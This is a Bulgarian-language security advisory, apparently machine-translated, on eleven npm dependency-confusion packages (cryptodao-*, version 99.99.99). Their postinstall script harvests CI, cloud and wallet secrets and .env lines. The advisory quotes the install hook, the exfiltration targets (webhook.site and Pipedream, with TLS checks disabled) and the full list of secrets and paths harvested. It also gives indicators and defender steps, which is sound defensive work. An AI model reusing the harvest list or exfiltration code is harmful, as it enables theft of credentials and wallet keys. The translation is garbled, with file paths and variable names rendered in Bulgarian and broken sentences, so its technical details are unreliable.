TL; DR
На 17.06.2026 г. беше публикуван един npm акаунт единадесет пакета, които споделят една цел и един полезен товарДесет от тях носят cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); единадесетият е обхватът @public-for-cdao/coreВсеки един беше публикуван във версия 99.99.99 и изпраща идентичен с байта recon.js което продължава postinstall.
Имената са показателни. Те се четат като вътрешните градивни елементи на частния инструментариум на крипто/DAO проект. Публикувани в публичния npm регистър с изкуствено завишена версия, те чакат компилация. pipeline който е конфигуриран да разрешава тези имена и който достига до public npm преди — или вместо — до частния регистър. Това е объркване в зависимосттаи полезният товар е настроен точно за мястото, където се очаква да кацне: CI/CD бегачи.
Кога postinstall пожари, recon.js събира данни за хоста, извършва груби проверки четиридесет променливи на средата за облак, непрекъсната сигурност и крипто-портфейл, чете всякакви .env файловете, които може да намери, и препраща дословно редовете, носещи секрет, след което предава пакета на двама колектори — webhook.site и крайна точка на Pipedream — с деактивирана проверка на TLS сертификата. Копие е написано и под /tmp.
тежест: ВисокоЗасегната екосистема: NPMИ единадесетте пакета бяха активни към момента на писане.
Анатомия на атаката
Механизмът има четири движещи се части и нито една от тях не е едва доловима, щом веднъж знаете... погледнете един слой отвъд името на пакета.
1. Инфлацията на версиите като примамка за разрешаване на проблеми. Всеки пакет декларира версия 99.99.99Объркването със зависимостите работи, когато мениджър на пакети поиска вътрешно име, също така проверява публичния регистър и избира най-новата версия намира. Изборът по подразбиране на npm за диапазон от каретки или заместващи символи е най-задоволителната версия във всеки конфигуриран източник; ако и двете са частни регистър и публичен npm отговор за едно и също име, по-големият номер на версията печели. A 99.99.99 превъзхожда по ранг по същество всяка реална вътрешна версия, която проектът ще има достигнато, така че резолвер, който не е закачен към частния източник, предпочита публично — и в този случай враждебно — копие. Операторът не е необходимо да знае реалните номера на версиите на целта; избирането на абсурден максимум гарантира винаги равенството пробива си път.
2. Спусък след инсталиране. package.json свързва полезния товар към инсталацията жизнен цикъл:
{ "scripts": { "postinstall": "node recon.js" } } Не се изисква импортиране на пакета. Просто инсталирането му — което е CI pipeline прави автоматично — изпълнява се recon.js.
3. Широкообхватно тайно разследване. recon.js сглобява масив от резултати на етапи:
- Контекст на хоста: име на хост, платформа и версия, архитектура, потребителско име, работа директория.
- Променливи на средата: итерира фиксиран списък от около четиридесет имена и записи всички, които са зададени. Списъкът е показателен — той сдвоява генерични CI токени (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) и облак пълномощия (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) с тайни на регистъра и контейнера (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) и клъстер с отчетливо крипто-вкус: ЛИЧЕН_КЛЮЧ, Мнемоника, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCЗаписаните стойности се съкращават до първите 50 знака.
- .env файлове: той проверява списък с пътища — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /начало/gitlab-runner/.env, /root/.env, и .производство/.развитие варианти — и за всеки съществуващ файл, той филтрира съдържанието до съответстващи редове КЛЮЧ|ТАЙНА|ТОКЕН|ПАРОЛА|ЛИЧЕН|МНЕМОНИЧЕН и вмъква тези редове **изцяло, без съкращения** в резултатите.
- Контекст на хоста за изграждане: той изброява първите 20 записа на /изгражда/, /начало/gitlab-runner/изграждания/, /var/lib/gitlab-runner/, и / TMP /.
Списъкът с пътища и списъкът с променливи са насочени към GitLab runners, което сочи полезният товар е насочен директно към самостоятелно хоствана CI инфраструктура, а не към разработчик лаптоп. Групирането на списъка с реколтата по категории прави планираното улавяне по-ясно:
| категория | Достигнати променливи / пътища |
|---|---|
| CI/CD идентичност и внедряване | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| облак | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Регистър и контейнер | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Хранилища за данни | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Крипто / блокчейн | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Съобщения | SLACK_TOKEN, DISCORD_TOKEN |
| На диска | .env семейство + /home/gitlab-runner/.env, /root/.env, /app/**/.envсписъци с директории на /builds/, /var/lib/gitlab-runner/ |
Крипто клъстерът е частта, която го отличава от общата CI-тайна. sweep: фразите за генериране на портфейли и ключовете за подписване се появяват само в средата на a блокчейн проект и те се картографират директно върху криптодао-/знак/се свива и крампира, назоваване на превозвачите.
4. Двойна ексфилтрация с деактивирана проверка. Събраният масив е сериализиран и изпратен до две дестинации:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) отхвърлянеНеоторизирано: невярно изключва проверките на TLS сертификати за изходящите пощенски кутии извиквания. Същите данни се отпечатват на stdout (така че попадат и в лог файловете на CI задачите) и написан до /tmp/.npm_recon_ .jsonГрешките се поглъщат мълчаливо, така че Неуспешното изпращане не оставя следа в инсталационния изход освен една единствена [разузнаване] инсталиран на Онлайн.
Водещ коментар във файла го описва като „объркване в зависимостта“ „Разузнавателен полезен товар.“ Съкращаването на стойностите на средата до 50 знака е формата на доказателство за концепция. Това, което го придвижва покрай маяк само за присъствие, е .env обработка: секретните линии се препращат изцяло, а дестинациите са два работещи, контролирани от атакуващия колектори, а не един уловител, който се брои само хитове.
История
Моделът за публикуване е сигнатура на едно скриптирано натискане, а не на единадесет независими качвания.
| Време (UTC, 17.06.2026 г.) | събитие |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 публикувани |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — вариант с обхват, ~24 минути по-късно |
Десет пакета бяха изпратени в рамките на 29 секунди, приблизително по един на всеки три секунди. Обхватът @public-for-cdao/core последвано около 24 минути по-късно — секунда конвенция за именуване за същата цел, в случай че проектът, който я използва, препраща към вътрешна верига от инструменти под обхват, а не като голи имена.
Индикатори за компромис
| Тип | индикатор |
|---|---|
| Колектор | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Колектор | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Инсталирайте куката | postinstall: node recon.js |
| Пуснат файл | /tmp/.npm_recon_<timestamp>.json |
| Маркер за трупи | [recon] <pkg>@<ver> installed on <hostname> (стандартен изход в CI лог файловете) |
| Поведенчески | rejectUnauthorized: false при изходящ HTTPS по време на инсталиране |
| Полезен товар | recon.js, идентични във всички единадесет пакета (една споделена компилация) |
| версия | 99.99.99 на всяка опаковка |
| Услуги | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (всичко 99.99.99) |
| Издател | aduljune / aduljune@proton.me (имейлът е непотвърден, няма свързано хранилище с изходен код) |
Атрибуция и наблюдавано поведение
Всичко за клъстера сочи в едната ръка. Всички единадесет пакета бяха публикувани. от npm акаунта адулджун (aduljune@proton.me, непотвърден адрес без хранилище с свързан изходен код), в рамките на 25-минутен период, едновременно 99.99.99 версия, доставка на recon.js чието съдържание е идентично байт по байт във всеки пакет (MD5 съвпада във всички единадесет извлечени копия). Това е един полезен товар отпечатано върху списък с имена, а не независима повторна употреба на код.
Списъкът с имена определя целевата група. криптодао-* намлява cdao опишете оформление на частен модул на крипто/DAO проект и списък за събиране на данни от полезния товар огледала, които предполагат: наред с общите тайни за непрекъсната интелигентност и облака, то специално протяга се към ЛИЧЕН_КЛЮЧ, Мнемоника, SEED_PHRASEи Ethereum/BSC RPC и ключове на доставчика. .env пътищата за търсене и списъците с директории са GitLab-runner специфични. Наблюдаемият ефект е, че всеки pipeline подмамени да ги инсталират имената биха препращали своите CI токени, облачни ключове и данни на диска .env тайни — и, за блокчейн проект, материалът за портфейла му — на двама колекционери от трети страни.
Не твърдим кой управлява акаунта или какво е планирал да прави с него. данни. Фактите, които стоят сами по себе си: имената са насочени към специфичен вид вътрешната верига от инструменти, полезният товар чете и предава истински секретни стойности и инфраструктурата беше активна.
Въздействие, тенденции и насоки за защитниците
Объркване със зависимостите остава ефективен, защото използва поведението на резолвера, а не уязвимост във всеки пакет. Носителят тук е тривиален — единадесет почти празни пакети — но радиусът на взрива е какъвто и да е pipeline погрешно предпочита публичния npm за вътрешно име. CI бегачите са най-лошото място за това: те държат точно жетоните и .env файлове, които този полезен товар чете, и те инсталират зависимости неинтерактивно, така че a след инсталиране тича без никой да го наблюдава.
Този клъстер също се вписва в модел, който продължаваме да наблюдаваме: полезни товари по време на инсталиране, които представят като „изследване“ или „разузнаване“, докато се извършва реално събиране на удостоверения. Етикетът във файла не променя какво прави кодът върху бегач. Запазват се два варианта за дизайн тихата дейност: всяка мрежова и файлова система е обвита в обработчик на изключения, който отхвърля грешки, като например блокирано изпращане или липсващ файл не произвежда диагностичен изход и единственото отпечатано нещо е един безобиден [реконструкция] … инсталиран линия, която се слива с нормалния разговор при инсталиране. Използването на webhook.site и Pipedream също е умишлено удобство — и двете са безплатни, незабавно предоставени услуги за събиране на заявки, така че операторът не се нуждае от сървъри на свои собствени и дестинациите изглеждат като обикновени SaaS имена на хостове в изходящите логове.
Икономическите фактори правят това достойно за вниманието на защитника, въпреки че Кодът на оператора е тривиален. Регистрирането на единадесет имена не струва нищо, полезният товар е един файлът е копиран единадесет пъти и мениджърът на пакети извършва цялото изпълнение. Един единствен неправилно конфигуриран pipeline навсякъде, където се използва едно от тези имена, се плаща за цялото операция.
Конкретни стъпки за защитниците:
- Закачете вътрешните области към вашия личен регистър. Конфигурирайте npm така, че да има вътрешни имена
и обхватите се разрешават само спрямо вашия регистър (обхватни .npmrc съпоставяния на регистъра, или прокси, който никога не се свързва с публичния npm за притежавани пространства от имена). Резервирайте имената на публичните си области, така че никой друг да не може да ги регистрира.
- Commit заключващи файлове и инсталиране с –ignore-scripts в CI където е възможно, или проверете малкия набор от зависимости, които наистина се нуждаят от инсталиране на скриптове. recon.js не може да се изпълни, ако след инсталиране не се изпълнява.
- Третирайте версия на име, изглеждащо вътрешно, от 99.99.99 (или друга абсурдно висока цена). като червен флаг при преглед на зависимостите и наблюдение на системния регистър.
- Предупреждение за изход по време на инсталиране. A след инсталиране който отваря изходящ HTTPS връзка — особено с деактивирана проверка на сертификати — към Струва си да се блокират webhook.site, Pipedream или подобни услуги за улавяне на заявки на границата на мрежата и да се маркират в регистрационните файлове за изграждане.
- Търсете артефактите. Проверете бегачите за /tmp/.npm_recon_*.json и за [recon] … инсталиран на … маркер в последните CI логове. Ако бъде намерен, завъртайте всеки удостоверение, изложено на това pipeline — CI токени, облачни ключове, токени на системния регистър и всички начални или частни ключове на портфейла, налични в средата или .env файловете.
Източници
Към момента на писане не е имало външна отчетност за този клъстер; анализът горното се основава директно на публикуваното съдържание на пакета




